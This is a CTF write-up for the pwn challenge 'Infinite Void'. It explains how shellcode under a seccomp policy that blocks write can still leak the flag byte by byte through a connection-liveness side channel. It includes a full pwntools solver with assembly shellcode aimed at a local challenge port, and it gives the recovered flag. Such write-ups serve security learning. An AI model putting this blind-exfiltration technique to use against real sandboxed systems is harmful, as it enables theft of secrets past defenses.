archlinux / r3t0x@portfolio
ALL SYSTEMS NOMINAL /
← Back to archive · Pwn

Securinets ENIT Friendly CTF 2026 / Pwn WRITEUP

Infinite Void

Unlimited knowledge is included. Exporting it requires the premium plan, which your team apparently could not afford.

EVENTSecurinets ENIT Friendly CTF 2026CATEGORYPwnDIFFICULTYhardPOINTS1000
seccompblind-exfiltrationside-channel

Walkthrough

Solution

The seccomp policy allows openat, read, and exit calls, but not write, so the flag cannot be returned directly. Shellcode can still open and read /flag, compare one chosen byte with a guess, and conditionally block in an allowed read from standard input.

An immediate exit means the secret byte is at most the guess; a connection that remains alive means it is greater. Binary-search printable ASCII with this one-bit oracle for each position, starting from the known SecurinetsENIT{ prefix, until the closing brace is recovered.

Reference solver

The reference solver supplied with the writeup:

from pwn import *

context.arch = "amd64"
known = b"SecurinetsENIT{"

while known[-1:] != b"}" and len(known) < 80:
    low, high = 32, 126

    while low < high:
        guess = (low + high) // 2
        code = asm(f"""
            sub rsp, 0x100
            mov rbx, 0x67616c662f
            mov qword ptr [rsp], rbx
            mov eax, 257
            mov rdi, -100
            mov rsi, rsp
            xor edx, edx
            xor r10d, r10d
            syscall
            mov edi, eax
            lea rsi, [rsp + 0x20]
            mov edx, 0x80
            xor eax, eax
            syscall
            movzx eax, byte ptr [rsp + 0x20 + {len(known)}]
            cmp eax, {guess}
            jbe done
            xor eax, eax
            xor edi, edi
            lea rsi, [rsp + 0xa0]
            mov edx, 1
            syscall
        done:
            mov eax, 60
            xor edi, edi
            syscall
        """)

        p = remote("localhost", 1351, level="error")
        p.sendafter(b"Technique: ", code)
        p.recvuntil(b"Technique accepted.\n")

        try:
            p.recv(1, timeout=0.2)
        except EOFError:
            pass

        alive = p.connected("recv")

        if alive:
            low = guess + 1
            p.send(b"X")
        else:
            high = guess

        p.close()

    known += bytes([low])
    print(known.decode(), flush=True)

Flag

SecurinetsENIT{1nf1n1t3_v01d_h4s_0n3_b1t_0f_b4ndw1dth}
Published 2026-10-15 · by r3t0x← Back to archive · Pwn
0xSEARCH_INDEX

Trace a memory.

INDEX ONLINE0 addresses
↑↓ TRACEENTER OPENESC DISMISS